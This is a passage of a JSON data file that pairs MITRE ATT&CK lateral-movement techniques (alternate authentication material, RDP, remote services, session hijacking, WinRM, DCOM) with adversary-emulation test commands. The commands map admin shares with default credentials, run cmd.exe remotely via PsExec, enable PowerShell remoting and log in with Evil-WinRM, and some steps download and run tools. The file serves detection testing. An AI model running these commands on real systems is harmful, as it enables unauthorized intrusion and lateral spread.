- "description": "Username",
- "type": "string",
- "default": "DOMAIN\\Administrator"
- },
- "share_name": {
- "description": "Examples C$, IPC$, Admin$",
- "type": "string",
- "default": "C$"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "P@ssw0rd1"
- },
- "computer_name": {
- "description": "Target Computer Name",
- "type": "string",
- "default": "Target"
- }
- },
- "executor": {
- "command": "cmd.exe /c \"net use \\\\#{computer_name}\\#{share_name} #{password} /u:#{user_name}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Map Admin Share PowerShell",
- "auto_generated_guid": "514e9cd7-9207-4882-98b1-c8f791bae3c5",
- "description": "Map Admin share utilizing PowerShell\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "share_name": {
- "description": "Examples C$, IPC$, Admin$",
- "type": "string",
- "default": "C$"
- },
- "map_name": {
- "description": "Mapped Drive Letter",
- "type": "string",
- "default": "g"
- },
- "computer_name": {
- "description": "Target Computer Name",
- "type": "string",
- "default": "Target"
- }
- },
- "executor": {
- "command": "New-PSDrive -name #{map_name} -psprovider filesystem -root \\\\#{computer_name}\\#{share_name}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Copy and Execute File with PsExec",
- "auto_generated_guid": "0eb03d41-79e4-4393-8e57-6344856be1cf",
- "description": "Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_path": {
- "description": "File to copy and execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- },
- "remote_host": {
- "description": "Remote computer to receive the copy and execute the file",
- "type": "string",
- "default": "\\\\localhost"
- },
- "psexec_exe": {
- "description": "Path to PsExec",
- "type": "string",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n",
- "prereq_command": "if (Test-Path \"#{psexec_exe}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_exe}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_exe}\" -Force\n"
- }
- ],
- "executor": {
- "command": "#{psexec_exe} #{remote_host} -accepteula -c #{command_path}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Execute command writing output to local Admin Share",
- "auto_generated_guid": "d41aaab5-bdfe-431d-a3d5-c29e9136ff46",
- "description": "Executes a command, writing the output to a local Admin Share.\nThis technique is used by post-exploitation frameworks.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Remote computer to receive the copy and execute the file",
- "type": "string",
- "default": "output.txt"
- },
- "command_to_execute": {
- "description": "Command to execute for output.",
- "type": "string",
- "default": "hostname"
- }
- },
- "executor": {
- "command": "cmd.exe /Q /c #{command_to_execute} 1> \\\\127.0.0.1\\ADMIN$\\#{output_file} 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1550": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "SaaS",
- "Google Workspace",
- "IaaS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
- "type": "attack-pattern",
- "created": "2020-01-30T16:18:36.873Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550",
- "url": "https://attack.mitre.org/techniques/T1550"
- },
- {
- "source_name": "NIST Authentication",
- "url": "https://csrc.nist.gov/glossary/term/authentication",
- "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020."
- },
- {
- "source_name": "NIST MFA",
- "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication",
- "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- }
- ],
- "modified": "2022-04-01T12:57:34.058Z",
- "name": "Use Alternate Authentication Material",
- "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Active Directory: Active Directory Credential Request",
- "Logon Session: Logon Session Creation",
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ]
- },
- "atomic_tests": []
- },
- "T1076": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:59.769Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1076",
- "url": "https://attack.mitre.org/techniques/T1076"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
- "source_name": "TechNet Remote Desktop Services"
- },
- {
- "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
- "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
- "source_name": "Alperovitch Malware"
- },
- {
- "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
- "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
- "source_name": "RDP Hijacking Korznikov"
- },
- {
- "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
- "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
- "source_name": "RDP Hijacking Medium"
- },
- {
- "url": "https://github.com/nccgroup/redsnarf",
- "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
- "source_name": "Kali Redsnarf"
- }
- ],
- "modified": "2020-02-11T18:24:04.507Z",
- "name": "Remote Desktop Protocol",
- "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen]
, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe
usage and monitor service creation that uses cmd.exe /k
or cmd.exe /c
in its arguments to prevent RDP session hijacking.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Remote Desktop Users",
- "User"
- ],
- "x_mitre_system_requirements": [
- "RDP service enabled, account in the Remote Desktop Users group."
- ]
- },
- "atomic_tests": []
- },
- "T1021": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Dan Borges, @1njection"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:29.858Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021",
- "url": "https://attack.mitre.org/techniques/T1021"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "source_name": "SSH Secure Shell",
- "url": "https://www.ssh.com/ssh",
- "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
- "source_name": "TechNet Remote Desktop Services"
- },
- {
- "source_name": "Remote Management MDM macOS",
- "url": "https://support.apple.com/en-us/HT209161",
- "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021."
- },
- {
- "source_name": "Kickstart Apple Remote Desktop commands",
- "url": "https://support.apple.com/en-us/HT201710",
- "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021."
- },
- {
- "source_name": "Apple Remote Desktop Admin Guide 3.3",
- "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf",
- "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021."
- },
- {
- "source_name": "FireEye 2019 Apple Remote Desktop",
- "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html",
- "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021."
- },
- {
- "source_name": "Lockboxx ARD 2019",
- "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html",
- "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021."
- },
- {
- "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
- "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
- "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021."
- }
- ],
- "modified": "2022-03-28T16:07:45.017Z",
- "name": "Remote Services",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Module: Module Load",
- "Network Traffic: Network Traffic Flow",
- "Command: Command Execution",
- "Network Share: Network Share Access"
- ],
- "x_mitre_system_requirements": [
- "Active remote service accepting connections and valid credentials"
- ]
- },
- "atomic_tests": []
- },
- "T1563": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
- "type": "attack-pattern",
- "created": "2020-02-25T18:26:16.994Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1563",
- "url": "https://attack.mitre.org/techniques/T1563"
- },
- {
- "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
- "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
- "source_name": "RDP Hijacking Medium"
- },
- {
- "source_name": "Breach Post-mortem SSH Hijack",
- "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
- "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."
- }
- ],
- "modified": "2020-03-23T23:35:58.129Z",
- "name": "Remote Service Session Hijacking",
- "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1021.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
- "type": "attack-pattern",
- "created": "2020-02-11T18:29:47.757Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.006",
- "url": "https://attack.mitre.org/techniques/T1021/006"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa384426",
- "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
- "source_name": "Microsoft WinRM"
- },
- {
- "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
- "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.",
- "source_name": "Jacobsen 2014"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
- "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
- "source_name": "MSDN WMI"
- },
- {
- "source_name": "Medium Detecting Lateral Movement",
- "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
- "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
- }
- ],
- "modified": "2021-06-23T19:22:52.870Z",
- "name": "Remote Services: Windows Remote Management",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Logon Session: Logon Session Creation",
- "Service: Service Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1021.006"
- },
- "atomic_tests": [
- {
- "name": "Enable Windows Remote Management",
- "auto_generated_guid": "9059e8de-3d7d-4954-a322-46161880b9cf",
- "description": "Powershell Enable WinRM\n\nUpon successful execution, powershell will \"Enable-PSRemoting\" allowing for remote PS access.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Enable-PSRemoting -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Remote Code Execution with PS Credentials Using Invoke-Command",
- "auto_generated_guid": "5295bd61-bd7e-4744-9d52-85962a4cf2d6",
- "description": "Simulate lateral movement with PowerShell Remoting on the local host. \nUpon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the \nlocal machine as remote target.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Enable-PSRemoting -Force\nInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}",
- "cleanup_command": "Disable-PSRemoting -Force",
- "name": "powershell"
- }
- },
- {
- "name": "WinRM Access with Evil-WinRM",
- "auto_generated_guid": "efe86d95-44c4-4509-ae42-7bfd9d1f5b3d",
- "description": "An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "Username",
- "type": "string",
- "default": "Domain\\Administrator"
- },
- "destination_address": {
- "description": "Remote Host IP or Hostname",
- "type": "string",
- "default": "Target"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "P@ssw0rd1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must have Ruby Installed",
- "prereq_command": "try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:Temp\\rubyinstaller-2.7.1-1-x64.exe https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe\n$file1= $env:Temp + \"\\rubyinstaller-2.7.1-1-x64.exe\"\nStart-Process $file1 /S;"
- },
- {
- "description": "Computer must have Evil-WinRM installed",
- "prereq_command": "try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}",
- "get_prereq_command": "gem install evil-winrm"
- }
- ],
- "executor": {
- "command": "evil-winrm -i #{destination_address} -u #{user_name} -p #{password}",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1021.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
- "type": "attack-pattern",
- "created": "2020-02-11T18:26:36.444Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.003",
- "url": "https://attack.mitre.org/techniques/T1021/003"
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
- "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
- "source_name": "Microsoft Process Wide Com Keys"
- },
- {
- "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
- "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
- "source_name": "Microsoft COM ACL"
- },
- {
- "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
- "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
- "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
- "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
- "source_name": "Enigma MMC20 COM Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
- "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
- "source_name": "Enigma DCOM Lateral Movement Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
- "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
- "source_name": "Enigma Excel DCOM Sept 2017"
- },
- {
- "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
- "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
- "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
- "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
- "source_name": "MSDN WMI"
- }
- ],
- "modified": "2021-06-23T18:58:32.752Z",
- "name": "Remote Services: Distributed Component Object Model",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
